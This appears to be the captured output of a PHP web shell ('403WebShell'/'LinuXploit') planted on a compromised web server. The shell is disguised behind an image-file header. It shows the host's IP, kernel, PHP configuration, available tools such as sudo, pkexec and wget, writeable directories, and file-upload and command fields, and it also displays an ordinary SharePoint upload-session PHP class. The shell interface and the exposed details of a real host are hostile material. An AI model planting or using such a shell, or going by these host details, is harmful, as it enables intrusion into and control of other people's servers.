????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 52.15.226.19
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/sharepoint/vendor/vgrem/php-spo/src/SharePoint/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/sharepoint/vendor/vgrem/php-spo/src/SharePoint//UploadSession.php
<?php


namespace Office365\SharePoint;

use Office365\Runtime\Actions\ClientAction;
use Office365\Runtime\ClientResult;
use Office365\Runtime\Types\Guid;

/**
 *
 */
class UploadSession
{

    public function __construct()
    {
        $this->uploadSessionId = Guid::newGuid();
        $this->targetFile = null;
    }


    /**
     * @param FileCollection $files
     * @param string $sourcePath
     * @param string $targetFileName
     * @param callable $chunkUploaded
     * @param int $chunkSize
     */
    function buildQuery($files, $sourcePath, $targetFileName,  callable $chunkUploaded=null,$chunkSize = 1048576){
        $ctx= $files->getContext();
        $fileSize = filesize($sourcePath);
        $firstChunk = true;
        $handle = fopen($sourcePath, 'rb');
        $offset = 0;
        $fileCreationInformation = new FileCreationInformation();
        $fileCreationInformation->Url = $targetFileName;
        $uploadFile = $files->add($fileCreationInformation);
        $ctx->executeQuery();

        while (!feof($handle)) {
            $buffer = fread($handle, $chunkSize);
            $bytesRead = ftell ( $handle );
            if ($firstChunk) {
                $uploadFile->startUpload($this->uploadSessionId, $buffer);
                $firstChunk = false;
            } elseif ($fileSize == $bytesRead) {
                $this->targetFile = $uploadFile->finishUpload($this->uploadSessionId,$offset, $buffer);
            } else {
                $uploadFile->continueUpload($this->uploadSessionId,$offset, $buffer);
            }
            $offset = $bytesRead;
        }
        fclose($handle);


        if($chunkUploaded) {
            $ctx->afterExecuteQuery(function (ClientAction $query) use($chunkUploaded,$ctx)
            {
                $returnType = $query->ReturnType;
                if($returnType instanceof ClientResult){
                    call_user_func($chunkUploaded, $returnType->getValue());
                }
                elseif ($returnType instanceof File){
                    call_user_func($chunkUploaded, $returnType->getLength());
                }
            });
        }
    }


    /**
     * @return File
     */
    function getFile(){
        return $this->targetFile;
    }


    /**
     * @var Guid
     */
    private $uploadSessionId;


    /**
     * @var File
     */
    private $targetFile;

}

Youez - 2016 - github.com/yon3zu
LinuXploit